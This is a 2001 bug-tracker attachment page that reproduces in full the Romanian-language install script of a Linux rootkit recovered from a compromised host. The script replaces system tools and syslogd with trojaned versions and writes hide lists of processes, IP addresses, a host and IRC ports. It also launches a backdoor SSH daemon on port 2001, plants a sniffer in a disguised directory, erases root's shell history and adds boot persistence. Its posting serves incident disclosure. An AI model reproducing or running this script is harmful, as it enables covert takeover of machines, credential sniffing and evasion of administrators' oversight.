Attachment 14103 Details for Bug 33632 – the "install" script found in /rk

the "install" script found in /rk

Install (text/plain), 4.12 KB, created by Tommy Watt on 2001-03-29 14:05:08 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Tommy Watt

Created: 2001-03-29 14:05:08 UTC

Size: 4.12 KB

patch

obsolete

>clear
>echo
>echo   "Instalarea a inceput aveti rabdare...." 
>echo
>echo 
>echo   "Inlocuim netstat, ps, ifconfig, top... "
>echo
>echo
>
>USERID=`id -u`
>echo "--- Instalarea se face in ROOT mode?"
>if [ $USERID -eq 0 ]
>then
>echo "+++ Da , putem continua"
>else
>echo "+++ Nope, instalarea se face in shell $USERID"
>echo "Asta ii un ROOTKIT dobitocule si trebuie sa aiba uid=0"
>exit
>fi
>chown root.root *
>
>cp /usr/bin/crontab /usr/bin/ct
>rm -rf /sbin/ifconfig
>mv ifconfig /sbin/ifconfig
>rm -rf /bin/netstat
>mv netstat /bin/netstat
>rm -rf /bin/ps
>mv ps /bin/ps
>rm -rf /usr/bin/top
>mv top /usr/bin/top
>rm -rf /usr/sbin/tcpd
>mv tcpd /usr/sbin/tcpd
>
>killall -9 in.rexedcs
>killall -9 defauths dcs
>killall -9 defauths
>killall -9 lpd
>killall -9 rpc.statd
>killall -9 portmap
>killall -9 psybnc
>
>mv in.rexedcs /usr/sbin/in.rexedcs
>/usr/sbin/in.rexedcs &
>
>chmod 755 /usr/bin/crontab
>chmod 755 /usr/sbin/userhelper
>
>rm -rf /usr/sbin/syslogd
>mv syslogd /usr/sbin/syslogd
>
>echo "[ OK ]"
>echo -n "Cream fisierele /dev ... si ascundem programele..."
>echo
>
>touch /dev/xmx
>>/dev/xmx
>echo "3 in.rexedcs" >>/dev/xmx
>echo "3 defauths dcs" >>/dev/xmx
>echo "3 defauths" >>/dev/xmx
>echo "3 rdcmound" >>/dev/xmx
>echo "3 rdcbac" >>/dev/xmx
>echo "3 w" >>/dev/xmx
>echo "3 s" >>/dev/xmx
>echo "3 psy" >>/dev/xmx
>echo "3 bot" >>/dev/xmx
>echo "3 scan" >>/dev/xmx
>echo "3 wus" >>/dev/xmx
>echo "3 klog" >>/dev/xmx
>echo "3 create" >>/dev/xmx
>echo "3 crush" >>/dev/xmx
>echo "3 snif" >>/dev/xmx
>echo "3 ras2xm" >>/dev/xmx
>echo "3 sourcemask" >>/dev/xmx
>
>touch /dev/xdta
>>/dev/xdta
>echo "1 194.102.123.240" >>/dev/xdta
>echo "1 194.102.123.241" >>/dev/xdta
>echo "1 194.102.123.239" >>/dev/xdta
>echo "1 194.102.123.238" >>/dev/xdta
>echo "1 194.102.123.237" >>/dev/xdta
>echo "1 hobbiton.org" >>/dev/xdta
>echo "2 hobbiton.org" >>/dev/xdta
>echo "3 59311" >>/dev/xdta
>echo "3 59388" >>/dev/xdta
>echo "3 31471" >>/dev/xdta
>echo "3 51211" >>/dev/xdta
>echo "3 51212" >>/dev/xdta
>echo "3 51213" >>/dev/xdta
>echo "3 51214" >>/dev/xdta
>echo "4 6660" >>/dev/xdta
>echo "4 6666" >>/dev/xdta
>echo "4 6667" >>/dev/xdta
>echo "4 6668" >>/dev/xdta
>echo "4 6669" >>/dev/xdta
>echo "4 7000" >>/dev/xdta
>echo "4 31337" >>/dev/xdta
>echo "4 5555" >>/dev/xdta
>echo "4 31336" >>/dev/xdta
>
>echo "[ OK ]"
>echo "Desfacem SSH-ul... "
>echo
>
>rm -rf /usr/sbin/ras2xm
>rm -rf /usr/bin/ras2xm
>
>gzip -d ssh.tar.gz
>tar xvf ssh.tar -C /
>/usr/bin/make-ssh-host-key
>
>echo "[ OK ]"
>echo "Instalam sniferul si cream directorul hidden"
>echo
>if [ -x /usr/man/ ]
>then echo "/usr/man/ exista... nu mai trebuie creat"
>else mkdir /usr/man
>fi
>if [ -x /usr/man/man1/ ]
>then echo "/usr/man/man1/ exista... nu mai trebuie creat"
>else mkdir /usr/man/man1/
>fi
>if [ -x /usr/man/man1/"..  "/ ]
>then echo "/usr/man/man1/"..  "/ exista... nu mai trebuie creat"
>else mkdir /usr/man/man1/"..  "/
>fi
>if [ -x /usr/man/man1/"..  "/.dir/ ]
>then echo "/usr/man/man1/"..  "/.dir/ exista... nu mai trebuie creat"
>else mkdir /usr/man/man1/"..  "/.dir/
>fi
>
>mv snif /usr/man/man1/"..  "/.dir/snif
>mv klog /usr/man/man1/"..  "/.dir/klog
>mv crush /usr/man/man1/"..  "/.dir/crush
>mv create /usr/man/man1/"..  "/.dir/create
>mv s /usr/man/man1/"..  "/.dir/s
>mv w /usr/man/man1/"..  "/.dir/w
>mv sc.tar.gz /usr/man/man1/"..  "/.dir/sc.tar.gz
>mv ftpaccess /usr/man/man1/"..  "/.dir/ftpaccess
>
>chmod 755 /usr/man/man1/"..  "/.dir
>
>
>echo "[ OK ] Puteti sa va pedepsiti dusmanii prin FLOOD incepand de acuma" 
>echo
>echo -n "Stergem fisierul root.bash_history"
>echo
>echo "--- Linkuim /root/.bash_history cu /dev/null ..."
>echo
>rm -rf /root/.bash_history
>ln -s /dev/null /root/.bash_history
>rm -rf /.bash_history
>echo "+++ [ OK ] Totul in regula cu fisierul /root/.bash_history ..."
>echo
>echo
>echo
>echo -n "Crearea portului secret de SSH aproape gata... "
>echo
>
>killall -9 ras2xm
>/usr/bin/ras2xm -p 2001 -q
>
>rm -rf /etc/ftpaccess
>cd /usr/man/man1/"..  "/.dir/
>./snif >chipsul &
>cp ftpaccess /etc/
>rm -rf ftpaccess
>tar -xvzf sc.tar.gz
>rm -rf sc.tar.gz
>mv chipsul log
>
>echo -n "---Sniffer a fost pornit cu success---"
>echo
>echo "/usr/bin/sourcemask" >>/etc/rc.d/rc.sysinit
>echo
>
>
>echo
>echo    "Rootkit installed - made in Romania (str8hack)"
>echo -n "-----------------------------------------------------------------------------------------------"
>echo
>echo

Actions: View

Attachments on bug 33632: 14103 | 14104 | 14224